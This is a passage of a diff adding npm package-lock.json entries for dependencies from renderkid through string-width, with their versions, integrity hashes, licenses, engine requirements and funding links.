"MIT", + "dependencies": { + "css-select": "^4.1.3", + "dom-converter": "^0.2.0", + "htmlparser2": "^6.1.0", + "lodash": "^4.17.21", + "strip-ansi": "^6.0.1" + } + }, + "node_modules/renderkid/node_modules/css-select": { + "version": "4.3.0", + "integrity": "sha512-wPpOYtnsVontu2mODhA19JrqWxNsfdatRKd64kmpRbQgh1KtItko5sTnEpPdpSaJszTOhEMlF/RPz28qj4HqhQ==", + "license": "BSD-2-Clause", + "dependencies": { + "boolbase": "^1.0.0", + "css-what": "^6.0.1", + "domhandler": "^4.3.1", + "domutils": "^2.8.0", + "nth-check": "^2.0.1" + }, + "funding": { + "url": "https://github.com/sponsors/fb55" + } + }, + "node_modules/renderkid/node_modules/dom-serializer": { + "version": "1.4.1", + "integrity": "sha512-VHwB3KfrcOOkelEG2ZOfxqLZdfkil8PtJi4P8N2MMXucZq2yLp75ClViUlOVwyoHEDjYU433Aq+5zWP61+RGag==", + "license": "MIT", + "dependencies": { + "domelementtype": "^2.0.1", + "domhandler": "^4.2.0", + "entities": "^2.0.0" + }, + "funding": { + "url": "https://github.com/cheeriojs/dom-serializer?sponsor=1" + } + }, + "node_modules/renderkid/node_modules/domhandler": { + "version": "4.3.1", + "integrity": "sha512-GrwoxYN+uWlzO8uhUXRl0P+kHE4GtVPfYzVLcUxPL7KNdHKj66vvlhiweIHqYYXWlw+T8iLMp42Lm67ghw4WMQ==", + "license": "BSD-2-Clause", + "dependencies": { + "domelementtype": "^2.2.0" + }, + "engines": { + "node": ">= 4" + }, + "funding": { + "url": "https://github.com/fb55/domhandler?sponsor=1" + } + }, + "node_modules/renderkid/node_modules/domutils": { + "version": "2.8.0", + "integrity": "sha512-w96Cjofp72M5IIhpjgobBimYEfoPjx1Vx0BSX9P30WBdZW2WIKU0T1Bd0kz2eNZ9ikjKgHbEyKx8BB6H1L3h3A==", + "license": "BSD-2-Clause", + "dependencies": { + "dom-serializer": "^1.0.1", + "domelementtype": "^2.2.0", + "domhandler": "^4.2.0" + }, + "funding": { + "url": "https://github.com/fb55/domutils?sponsor=1" + } + }, + "node_modules/renderkid/node_modules/entities": { + "version": "2.2.0", + "integrity": "sha512-p92if5Nz619I0w+akJrLZH0MX0Pb5DX39XOwQTtXSdQQOaYH03S1uIQp4mhOZtAXrxq4ViO67YTiLBo2638o9A==", + "license": "BSD-2-Clause", + "funding": { + "url": "https://github.com/fb55/entities?sponsor=1" + } + }, + "node_modules/renderkid/node_modules/htmlparser2": { + "version": "6.1.0", + "integrity": "sha512-gyyPk6rgonLFEDGoeRgQNaEUvdJ4ktTmmUh/h2t7s+M8oPpIPxgNACWa+6ESR57kXstwqPiCut0V8NRpcwgU7A==", + "funding": [ + "https://github.com/fb55/htmlparser2?sponsor=1", + { + "type": "github", + "url": "https://github.com/sponsors/fb55" + } + ], + "license": "MIT", + "dependencies": { + "domelementtype": "^2.0.1", + "domhandler": "^4.0.0", + "domutils": "^2.5.2", + "entities": "^2.0.0" + } + }, + "node_modules/require-from-string": { + "version": "2.0.2", + "integrity": "sha512-Xf0nWe6RseziFMu+Ap9biiUbmplq6S9/p+7w7YXP/JBHhrUDDUhwa+vANyubuqfZWTveU//DYVGsDG7RKL/vEw==", + "license": "MIT", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/require-like": { + "version": "0.1.2", + "integrity": "sha512-oyrU88skkMtDdauHDuKVrgR+zuItqr6/c//FXzvmxRGMexSDc6hNvJInGW3LL46n+8b50RykrvwSUIIQH2LQ5A==", + "engines": { + "node": "*" + } + }, + "node_modules/requires-port": { + "version": "1.0.0", + "integrity": "sha512-KigOCHcocU3XODJxsu8i/j8T9tzT4adHiecwORRQ0ZZFcp7ahwXuRU1m+yuO90C5ZUyGeGfocHDI14M3L3yDAQ==", + "license": "MIT" + }, + "node_modules/resolve": { + "version": "1.22.12", + "integrity": "sha512-TyeJ1zif53BPfHootBGwPRYT1RUt6oGWsaQr8UyZW/eAm9bKoijtvruSDEmZHm92CwS9nj7/fWttqPCgzep8CA==", + "license": "MIT", + "dependencies": { + "es-errors": "^1.3.0", + "is-core-module": "^2.16.1", + "path-parse": "^1.0.7", + "supports-preserve-symlinks-flag": "^1.0.0" + }, + "bin": { + "resolve": "bin/resolve" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/resolve-alpn": { + "version": "1.2.1", + "integrity": "sha512-0a1F4l73/ZFZOakJnQ3FvkJ2+gSTQWz/r2KE5OdDY0TxPm5h4GkqkWWfM47T7HsbnOtcJVEF4epCVy6u7Q3K+g==", + "license": "MIT" + }, + "node_modules/resolve-from": { + "version": "4.0.0", + "integrity": "sha512-pb/MYmXstAkysRFx8piNI1tGFNQIFA3vkE3Gq4EuA1dF6gHp/+vgZqsCGJapvy8N3Q+4o7FwvquPJcnZ7RYy4g==", + "license": "MIT", + "engines": { + "node": ">=4" + } + }, + "node_modules/resolve-pathname": { + "version": "3.0.0", + "integrity": "sha512-C7rARubxI8bXFNB/hqcp/4iUeIXJhJZvFPFPiSPRnhU5UPxzMFIl+2E6yY6c4k9giDJAhtV+enfA+G89N6Csng==", + "license": "MIT" + }, + "node_modules/responselike": { + "version": "3.0.0", + "integrity": "sha512-40yHxbNcl2+rzXvZuVkrYohathsSJlMTXKryG5y8uciHv1+xDLHQpgjG64JUO9nrEq2jGLH6IZ8BcZyw3wrweg==", + "license": "MIT", + "dependencies": { + "lowercase-keys": "^3.0.0" + }, + "engines": { + "node": ">=14.16" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/retry": { + "version": "0.13.1", + "integrity": "sha512-XQBQ3I8W1Cge0Seh+6gjj03LbmRFWuoszgK9ooCpwYIrhhoO80pfq4cUkU5DkknwfOfFteRwlZ56PYOGYyFWdg==", + "license": "MIT", + "engines": { + "node": ">= 4" + } + }, + "node_modules/reusify": { + "version": "1.1.0", + "integrity": "sha512-g6QUff04oZpHs0eG5p83rFLhHeV00ug/Yf9nZM6fLeUrPguBTkTQOdpAWWspMh55TZfVQDPaN3NQJfbVRAxdIw==", + "license": "MIT", + "engines": { + "iojs": ">=1.0.0", + "node": ">=0.10.0" + } + }, + "node_modules/rtlcss": { + "version": "4.3.0", + "integrity": "sha512-FI+pHEn7Wc4NqKXMXFM+VAYKEj/mRIcW4h24YVwVtyjI+EqGrLc2Hx/Ny0lrZ21cBWU2goLy36eqMcNj3AQJig==", + "license": "MIT", + "dependencies": { + "escalade": "^3.1.1", + "picocolors": "^1.0.0", + "postcss": "^8.4.21", + "strip-json-comments": "^3.1.1" + }, + "bin": { + "rtlcss": "bin/rtlcss.js" + }, + "engines": { + "node": ">=12.0.0" + } + }, + "node_modules/run-applescript": { + "version": "7.1.0", + "integrity": "sha512-DPe5pVFaAsinSaV6QjQ6gdiedWDcRCbUuiQfQa2wmWV7+xC9bGulGI8+TdRmoFkAPaBXk8CrAbnlY2ISniJ47Q==", + "license": "MIT", + "engines": { + "node": ">=18" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/run-parallel": { + "version": "1.2.0", + "integrity": "sha512-5l4VyZR86LZ/lDxZTR6jqL8AFE2S0IFLMP26AbjsLVADxHdhB/c0GUsH+y39UfCi3dzz8OlQuPmnaJOMoDHQBA==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/feross" + }, + { + "type": "patreon", + "url": "https://www.patreon.com/feross" + }, + { + "type": "consulting", + "url": "https://feross.org/support" + } + ], + "license": "MIT", + "dependencies": { + "queue-microtask": "^1.2.2" + } + }, + "node_modules/safe-buffer": { + "version": "5.2.1", + "integrity": "sha512-rp3So07KcdmmKbGvgaNxQSJr7bGVSVk5S9Eq1F+ppbRo70+YeaDxkw5Dd8NPN+GD6bjnYm2VuPuCXmpuYvmCXQ==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/feross" + }, + { + "type": "patreon", + "url": "https://www.patreon.com/feross" + }, + { + "type": "consulting", + "url": "https://feross.org/support" + } + ], + "license": "MIT" + }, + "node_modules/safer-buffer": { + "version": "2.1.2", + "integrity": "sha512-YZo3K82SD7Riyi0E1EQPojLz7kpepnSQI9IyPbHHg1XXXevb5dJI7tpyN2ADxGcQbHG7vcyRHk0cbwqcQriUtg==", + "license": "MIT" + }, + "node_modules/sax": { + "version": "1.6.0", + "integrity": "sha512-6R3J5M4AcbtLUdZmRv2SygeVaM7IhrLXu9BmnOGmmACak8fiUtOsYNWUS4uK7upbmHIBbLBeFeI//477BKLBzA==", + "license": "BlueOak-1.0.0", + "engines": { + "node": ">=11.0.0" + } + }, + "node_modules/scheduler": { + "version": "0.23.2", + "integrity": "sha512-UOShsPwz7NrMUqhR6t0hWjFduvOzbtv7toDH1/hIrfRNIDBnnBWd0CwJTGvTpngVlmwGCdP9/Zl/tVrDqcuYzQ==", + "license": "MIT", + "dependencies": { + "loose-envify": "^1.1.0" + } + }, + "node_modules/schema-dts": { + "version": "1.1.5", + "integrity": "sha512-RJr9EaCmsLzBX2NDiO5Z3ux2BVosNZN5jo0gWgsyKvxKIUL5R3swNvoorulAeL9kLB0iTSX7V6aokhla2m7xbg==", + "license": "Apache-2.0" + }, + "node_modules/schema-utils": { + "version": "4.3.3", + "integrity": "sha512-eflK8wEtyOE6+hsaRVPxvUKYCpRgzLqDTb8krvAsRIwOGlHoSgYLgBXoubGgLd2fT41/OUYdb48v4k4WWHQurA==", + "license": "MIT", + "dependencies": { + "@types/json-schema": "^7.0.9", + "ajv": "^8.9.0", + "ajv-formats": "^2.1.1", + "ajv-keywords": "^5.1.0" + }, + "engines": { + "node": ">= 10.13.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/webpack" + } + }, + "node_modules/search-insights": { + "version": "2.17.3", + "integrity": "sha512-RQPdCYTa8A68uM2jwxoY842xDhvx3E5LFL1LxvxCNMev4o5mLuokczhzjAgGwUZBAmOKZknArSxLKmXtIi2AxQ==", + "license": "MIT", + "peer": true + }, + "node_modules/section-matter": { + "version": "1.0.0", + "integrity": "sha512-vfD3pmTzGpufjScBh50YHKzEu2lxBWhVEHsNGoEXmCmn2hKGfeNLYMzCJpe8cD7gqX7TJluOVpBkAequ6dgMmA==", + "license": "MIT", + "dependencies": { + "extend-shallow": "^2.0.1", + "kind-of": "^6.0.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/select-hose": { + "version": "2.0.0", + "integrity": "sha512-mEugaLK+YfkijB4fx0e6kImuJdCIt2LxCRcbEYPqRGCs4F2ogyfZU5IAZRdjCP8JPq2AtdNoC/Dux63d9Kiryg==", + "license": "MIT" + }, + "node_modules/selfsigned": { + "version": "5.5.0", + "integrity": "sha512-ftnu3TW4+3eBfLRFnDEkzGxSF/10BJBkaLJuBHZX0kiPS7bRdlpZGu6YGt4KngMkdTwJE6MbjavFpqHvqVt+Ew==", + "license": "MIT", + "dependencies": { + "@peculiar/x509": "^1.14.2", + "pkijs": "^3.3.3" + }, + "engines": { + "node": ">=18" + } + }, + "node_modules/semver": { + "version": "7.8.5", + "integrity": "sha512-Y7/KDsb8LjooZpwaqGyulO6DQlksgCncchHGk+sZIY4SBvUocMBEFH5Ur1fI4dV+Jvl0w6cjvucaIi40puRioA==", + "license": "ISC", + "bin": { + "semver": "bin/semver.js" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/semver-diff": { + "version": "4.0.0", + "integrity": "sha512-0Ju4+6A8iOnpL/Thra7dZsSlOHYAHIeMxfhWQRI1/VLcT3WDBZKKtQt/QkBOsiIN9ZpuvHE6cGZ0x4glCMmfiA==", + "license": "MIT", + "dependencies": { + "semver": "^7.3.5" + }, + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/send": { + "version": "0.19.2", + "integrity": "sha512-VMbMxbDeehAxpOtWJXlcUS5E8iXh6QmN+BkRX1GARS3wRaXEEgzCcB10gTQazO42tpNIya8xIyNx8fll1OFPrg==", + "license": "MIT", + "dependencies": { + "debug": "2.6.9", + "depd": "2.0.0", + "destroy": "1.2.0", + "encodeurl": "~2.0.0", + "escape-html": "~1.0.3", + "etag": "~1.8.1", + "fresh": "~0.5.2", + "http-errors": "~2.0.1", + "mime": "1.6.0", + "ms": "2.1.3", + "on-finished": "~2.4.1", + "range-parser": "~1.2.1", + "statuses": "~2.0.2" + }, + "engines": { + "node": ">= 0.8.0" + } + }, + "node_modules/send/node_modules/debug": { + "version": "2.6.9", + "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==", + "license": "MIT", + "dependencies": { + "ms": "2.0.0" + } + }, + "node_modules/send/node_modules/debug/node_modules/ms": { + "version": "2.0.0", + "integrity": "sha512-Tpp60P6IUJDTuOq/5Z8cdskzJujfwqfOTkrwIwj7IRISpnkJnT6SyJ4PCPnGMoFjC9ddhal5KVIYtAt97ix05A==", + "license": "MIT" + }, + "node_modules/send/node_modules/range-parser": { + "version": "1.2.1", + "integrity": "sha512-Hrgsx+orqoygnmhFbKaHE6c296J+HTAQXoxEF6gNupROmmGJRoyzfG3ccAveqCBrwr/2yxQ5BVd/GTl5agOwSg==", + "license": "MIT", + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/serialize-javascript": { + "version": "7.0.7", + "integrity": "sha512-YAy8Od6KV+uuwUuU50np8fGB/Aues6Y0nAhA9y/hId74PlKUcme4pXcBD46NWKr1Q4osN/iseZ17YqO1XfmI8g==", + "license": "BSD-3-Clause", + "engines": { + "node": ">=20.0.0" + } + }, + "node_modules/serve-handler": { + "version": "6.1.7", + "integrity": "sha512-CinAq1xWb0vR3twAv9evEU8cNWkXCb9kd5ePAHUKJBkOsUpR1wt/CvGdeca7vqumL1U5cSaeVQ6zZMxiJ3yWsg==", + "license": "MIT", + "dependencies": { + "bytes": "3.0.0", + "content-disposition": "0.5.2", + "mime-types": "2.1.18", + "minimatch": "3.1.5", + "path-is-inside": "1.0.2", + "path-to-regexp": "3.3.0", + "range-parser": "1.2.0" + } + }, + "node_modules/serve-handler/node_modules/path-to-regexp": { + "version": "3.3.0", + "integrity": "sha512-qyCH421YQPS2WFDxDjftfc1ZR5WKQzVzqsp4n9M2kQhVOo/ByahFoUNJfl58kOcEGfQ//7weFTDhm+ss8Ecxgw==", + "license": "MIT" + }, + "node_modules/serve-index": { + "version": "1.9.2", + "integrity": "sha512-KDj11HScOaLmrPxl70KYNW1PksP4Nb/CLL2yvC+Qd2kHMPEEpfc4Re2e4FOay+bC/+XQl/7zAcWON3JVo5v3KQ==", + "license": "MIT", + "dependencies": { + "accepts": "~1.3.8", + "batch": "0.6.1", + "debug": "2.6.9", + "escape-html": "~1.0.3", + "http-errors": "~1.8.0", + "mime-types": "~2.1.35", + "parseurl": "~1.3.3" + }, + "engines": { + "node": ">= 0.8.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/express" + } + }, + "node_modules/serve-index/node_modules/debug": { + "version": "2.6.9", + "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==", + "license": "MIT", + "dependencies": { + "ms": "2.0.0" + } + }, + "node_modules/serve-index/node_modules/depd": { + "version": "1.1.2", + "integrity": "sha512-7emPTl6Dpo6JRXOXjLRxck+FlLRX5847cLKEn00PLAgc3g2hTZZgr+e4c2v6QpSmLeFP3n5yUo7ft6avBK/5jQ==", + "license": "MIT", + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/serve-index/node_modules/http-errors": { + "version": "1.8.1", + "integrity": "sha512-Kpk9Sm7NmI+RHhnj6OIWDI1d6fIoFAtFt9RLaTMRlg/8w49juAStsrBgp0Dp4OdxdVbRIeKhtCUvoi/RuAhO4g==", + "license": "MIT", + "dependencies": { + "depd": "~1.1.2", + "inherits": "2.0.4", + "setprototypeof": "1.2.0", + "statuses": ">= 1.5.0 < 2", + "toidentifier": "1.0.1" + }, + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/serve-index/node_modules/mime-db": { + "version": "1.52.0", + "integrity": "sha512-sPU4uV7dYlvtWJxwwxHD0PuihVNiE7TyAbQ5SWxDCB9mUYvOgroQOwYQQOKPJ8CIbE+1ETVlOoK1UC2nU3gYvg==", + "license": "MIT", + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/serve-index/node_modules/mime-types": { + "version": "2.1.35", + "integrity": "sha512-ZDY+bPm5zTTF+YpCrAU9nK0UgICYPT0QtT1NZWFv4s++TNkcgVaT0g6+4R2uI4MjQjzysHB1zxuWL50hzaeXiw==", + "license": "MIT", + "dependencies": { + "mime-db": "1.52.0" + }, + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/serve-index/node_modules/ms": { + "version": "2.0.0", + "integrity": "sha512-Tpp60P6IUJDTuOq/5Z8cdskzJujfwqfOTkrwIwj7IRISpnkJnT6SyJ4PCPnGMoFjC9ddhal5KVIYtAt97ix05A==", + "license": "MIT" + }, + "node_modules/serve-index/node_modules/statuses": { + "version": "1.5.0", + "integrity": "sha512-OpZ3zP+jT1PI7I8nemJX4AKmAX070ZkYPVWV/AaKTJl+tXCTGyVdC1a4SL8RUQYEwk/f34ZX8UTykN68FwrqAA==", + "license": "MIT", + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/serve-static": { + "version": "1.16.3", + "integrity": "sha512-x0RTqQel6g5SY7Lg6ZreMmsOzncHFU7nhnRWkKgWuMTu5NN0DR5oruckMqRvacAN9d5w6ARnRBXl9xhDCgfMeA==", + "license": "MIT", + "dependencies": { + "encodeurl": "~2.0.0", + "escape-html": "~1.0.3", + "parseurl": "~1.3.3", + "send": "~0.19.1" + }, + "engines": { + "node": ">= 0.8.0" + } + }, + "node_modules/set-function-length": { + "version": "1.2.2", + "integrity": "sha512-pgRc4hJ4/sNjWCSS9AmnS40x3bNMDTknHgL5UaMBTMyJnU90EgWh1Rz+MC9eFu4BuN/UwZjKQuY/1v3rM7HMfg==", + "license": "MIT", + "dependencies": { + "define-data-property": "^1.1.4", + "es-errors": "^1.3.0", + "function-bind": "^1.1.2", + "get-intrinsic": "^1.2.4", + "gopd": "^1.0.1", + "has-property-descriptors": "^1.0.2" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/setprototypeof": { + "version": "1.2.0", + "integrity": "sha512-E5LDX7Wrp85Kil5bhZv46j8jOeboKq5JMmYM3gVGdGH8xFpPWXUMsNrlODCrkoxMEeNi/XZIwuRvY4XNwYMJpw==", + "license": "ISC" + }, + "node_modules/shallow-clone": { + "version": "3.0.1", + "integrity": "sha512-/6KqX+GVUdqPuPPd2LxDDxzX6CAbjJehAAOKlNpqqUpAqPM6HeL8f+o3a+JsyGjn2lv0WY8UsTgUJjU9Ok55NA==", + "license": "MIT", + "dependencies": { + "kind-of": "^6.0.2" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/shallowequal": { + "version": "1.1.0", + "integrity": "sha512-y0m1JoUZSlPAjXVtPPW70aZWfIL/dSP7AFkRnniLCrK/8MDKog3TySTBmckD+RObVxH0v4Tox67+F14PdED2oQ==", + "license": "MIT" + }, + "node_modules/shebang-command": { + "version": "2.0.0", + "integrity": "sha512-kHxr2zZpYtdmrN1qDjrrX/Z1rR1kG8Dx+gkpK1G4eXmvXswmcE1hTWBWYUzlraYw1/yZp6YuDY77YtvbN0dmDA==", + "license": "MIT", + "dependencies": { + "shebang-regex": "^3.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/shebang-regex": { + "version": "3.0.0", + "integrity": "sha512-7++dFhtcx3353uBaq8DDR4NuxBetBzC7ZQOhmTQInHEd6bSrXdiEyzCvG07Z44UYdLShWUyXt5M/yhz8ekcb1A==", + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/shell-quote": { + "version": "1.10.0", + "integrity": "sha512-w1aiOKwKuRgtwAReIIj89puqg+I7GvX4IbLrvmhXbzQsj1+Zwi4VO3+fa6ZF91TWSjIxoEkKnMeHcLEODK5ZXA==", + "license": "MIT", + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/side-channel": { + "version": "1.1.1", + "integrity": "sha512-6x6dK6zJdpTzF4sQeNYxwtvBzf6Eg4GtlesS94HOvTudUeyK2WXAaIfmDgsyslYrRBeFIlsi54AYsFGUuhmvrQ==", + "license": "MIT", + "dependencies": { + "es-errors": "^1.3.0", + "object-inspect": "^1.13.4", + "side-channel-list": "^1.0.1", + "side-channel-map": "^1.0.1", + "side-channel-weakmap": "^1.0.2" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/side-channel-list": { + "version": "1.0.1", + "integrity": "sha512-mjn/0bi/oUURjc5Xl7IaWi/OJJJumuoJFQJfDDyO46+hBWsfaVM65TBHq2eoZBhzl9EchxOijpkbRC8SVBQU0w==", + "license": "MIT", + "dependencies": { + "es-errors": "^1.3.0", + "object-inspect": "^1.13.4" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/side-channel-map": { + "version": "1.0.1", + "integrity": "sha512-VCjCNfgMsby3tTdo02nbjtM/ewra6jPHmpThenkTYh8pG9ucZ/1P8So4u4FGBek/BjpOVsDCMoLA/iuBKIFXRA==", + "license": "MIT", + "dependencies": { + "call-bound": "^1.0.2", + "es-errors": "^1.3.0", + "get-intrinsic": "^1.2.5", + "object-inspect": "^1.13.3" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/side-channel-weakmap": { + "version": "1.0.2", + "integrity": "sha512-WPS/HvHQTYnHisLo9McqBHOJk2FkHO/tlpvldyrnem4aeQp4hai3gythswg6p01oSoTl58rcpiFAjF2br2Ak2A==", + "license": "MIT", + "dependencies": { + "call-bound": "^1.0.2", + "es-errors": "^1.3.0", + "get-intrinsic": "^1.2.5", + "object-inspect": "^1.13.3", + "side-channel-map": "^1.0.1" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/signal-exit": { + "version": "3.0.7", + "integrity": "sha512-wnD2ZE+l+SPC/uoS0vXeE9L1+0wuaMqKlfz9AMUo38JsyLSBWSFcHR1Rri62LZc12vLr1gb3jl7iwQhgwpAbGQ==", + "license": "ISC" + }, + "node_modules/sirv": { + "version": "2.0.4", + "integrity": "sha512-94Bdh3cC2PKrbgSOUqTiGPWVZeSiXfKOVZNJniWoqrWrRkB1CJzBU3NEbiTsPcYy1lDsANA/THzS+9WBiy5nfQ==", + "license": "MIT", + "dependencies": { + "@polka/url": "^1.0.0-next.24", + "mrmime": "^2.0.0", + "totalist": "^3.0.0" + }, + "engines": { + "node": ">= 10" + } + }, + "node_modules/sisteransi": { + "version": "1.0.5", + "integrity": "sha512-bLGGlR1QxBcynn2d5YmDX4MGjlZvy2MRBDRNHLJ8VI6l6+9FUiyTFNJ0IveOSP0bcXgVDPRcfGqA0pjaqUpfVg==", + "license": "MIT" + }, + "node_modules/sitemap": { + "version": "7.1.3", + "integrity": "sha512-tAjEd+wt/YwnEbfNB2ht51ybBJxbEWwe5ki/Z//Wh0rpBFTCUSj46GnxUKEWzhfuJTsee8x3lybHxFgUMig2hw==", + "license": "MIT", + "dependencies": { + "@types/node": "^17.0.5", + "@types/sax": "^1.2.1", + "arg": "^5.0.0", + "sax": "^1.2.4" + }, + "bin": { + "sitemap": "dist/cli.js" + }, + "engines": { + "node": ">=12.0.0", + "npm": ">=5.6.0" + } + }, + "node_modules/sitemap/node_modules/@types/node": { + "version": "17.0.45", + "integrity": "sha512-w+tIMs3rq2afQdsPJlODhoUEKzFP1ayaoyl1CcnwtIlsVe7K7bA1NGm4s3PraqTLlXnbIN84zuBlxBWo1u9BLw==", + "license": "MIT" + }, + "node_modules/skin-tone": { + "version": "2.0.0", + "integrity": "sha512-kUMbT1oBJCpgrnKoSr0o6wPtvRWT9W9UKvGLwfJYO2WuahZRHOpEyL1ckyMGgMWh0UdpmaoFqKKD29WTomNEGA==", + "license": "MIT", + "dependencies": { + "unicode-emoji-modifier-base": "^1.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/slash": { + "version": "3.0.0", + "integrity": "sha512-g9Q1haeby36OSStwb4ntCGGGaKsaVSjQ68fBxoQcutl5fS1vuY18H3wSt3jFyFtrkx+Kz0V1G85A4MyAdDMi2Q==", + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/snake-case": { + "version": "3.0.4", + "integrity": "sha512-LAOh4z89bGQvl9pFfNF8V146i7o7/CqFPbqzYgP+yYzDIDeS9HaNFtXABamRW+AQzEVODcvE79ljJ+8a9YSdMg==", + "license": "MIT", + "dependencies": { + "dot-case": "^3.0.4", + "tslib": "^2.0.3" + } + }, + "node_modules/sockjs": { + "version": "0.3.24", + "integrity": "sha512-GJgLTZ7vYb/JtPSSZ10hsOYIvEYsjbNU+zPdIHcUaWVNUEPivzxku31865sSSud0Da0W4lEeOPlmw93zLQchuQ==", + "license": "MIT", + "dependencies": { + "faye-websocket": "^0.11.3", + "uuid": "^8.3.2", + "websocket-driver": "^0.7.4" + } + }, + "node_modules/sort-css-media-queries": { + "version": "2.2.0", + "integrity": "sha512-0xtkGhWCC9MGt/EzgnvbbbKhqWjl1+/rncmhTh5qCpbYguXh6S/qwePfv/JQ8jePXXmqingylxoC49pCkSPIbA==", + "license": "MIT", + "engines": { + "node": ">= 6.3.0" + } + }, + "node_modules/source-map": { + "version": "0.7.6", + "integrity": "sha512-i5uvt8C3ikiWeNZSVZNWcfZPItFQOsYTUAOkcUPGd8DqDy1uOUikjt5dG+uRlwyvR108Fb9DOd4GvXfT0N2/uQ==", + "license": "BSD-3-Clause", + "engines": { + "node": ">= 12" + } + }, + "node_modules/source-map-js": { + "version": "1.2.1", + "integrity": "sha512-UXWMKhLOwVKb728IUtQPXxfYU+usdybtUrK/8uGE8CQMvrhOpwvzDBwj0QhSL7MQc7vIsISBG8VQ8+IDQxpfQA==", + "license": "BSD-3-Clause", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/source-map-support": { + "version": "0.5.21", + "integrity": "sha512-uBHU3L3czsIyYXKX88fdrGovxdSCoTGDRZ6SYXtSRxLZUzHg5P/66Ht6uoUlHu9EZod+inXhKo3qQgwXUT/y1w==", + "license": "MIT", + "dependencies": { + "buffer-from": "^1.0.0", + "source-map": "^0.6.0" + } + }, + "node_modules/source-map-support/node_modules/source-map": { + "version": "0.6.1", + "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==", + "license": "BSD-3-Clause", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/space-separated-tokens": { + "version": "2.0.2", + "integrity": "sha512-PEGlAwrG8yXGXRjW32fGbg66JAlOAwbObuqVoJpv/mRgoWDQfgH1wDPvtzWyUSNAXBGSk8h755YDbbcEy3SH2Q==", + "license": "MIT", + "funding": { + "type": "github", + "url": "https://github.com/sponsors/wooorm" + } + }, + "node_modules/spdy": { + "version": "4.0.2", + "integrity": "sha512-r46gZQZQV+Kl9oItvl1JZZqJKGr+oEkB08A6BzkiR7593/7IbtuncXHd2YoYeTsG4157ZssMu9KYvUHLcjcDoA==", + "license": "MIT", + "dependencies": { + "debug": "^4.1.0", + "handle-thing": "^2.0.0", + "http-deceiver": "^1.2.7", + "select-hose": "^2.0.0", + "spdy-transport": "^3.0.0" + }, + "engines": { + "node": ">=6.0.0" + } + }, + "node_modules/spdy-transport": { + "version": "3.0.0", + "integrity": "sha512-hsLVFE5SjA6TCisWeJXFKniGGOpBgMLmerfO2aCyCU5s7nJ/rpAepqmFifv/GCbSbueEeAJJnmSQ2rKC/g8Fcw==", + "license": "MIT", + "dependencies": { + "debug": "^4.1.0", + "detect-node": "^2.0.4", + "hpack.js": "^2.1.6", + "obuf": "^1.1.2", + "readable-stream": "^3.0.6", + "wbuf": "^1.7.3" + } + }, + "node_modules/srcset": { + "version": "4.0.0", + "integrity": "sha512-wvLeHgcVHKO8Sc/H/5lkGreJQVeYMm9rlmt8PuR1xE31rIuXhuzznUUqAt8MqLhB3MqJdFzlNAfpcWnxiFUcPw==", + "license": "MIT", + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/statuses": { + "version": "2.0.2", + "integrity": "sha512-DvEy55V3DB7uknRo+4iOGT5fP1slR8wQohVdknigZPMpMstaKJQWhwiYBACJE3Ul2pTnATihhBYnRhZQHGBiRw==", + "license": "MIT", + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/std-env": { + "version": "3.10.0", + "integrity": "sha512-5GS12FdOZNliM5mAOxFRg7Ir0pWz8MdpYm6AY6VPkGpbA7ZzmbzNcBJQ0GPvvyWgcY7QAhCgf9Uy89I03faLkg==", + "license": "MIT" + }, + "node_modules/string_decoder": { + "version": "1.3.0", + "integrity": "sha512-hkRX8U1WjJFd8LsDJ2yQ/wWWxaopEsABU1XfkM8A+j0+85JAGppt16cr1Whg6KIbb4okU6Mql6BOj+uup/wKeA==", + "license": "MIT", + "dependencies": { + "safe-buffer": "~5.2.0" + } + }, + "node_modules/string-width": { + "version": "5.1.2", + "integrity": 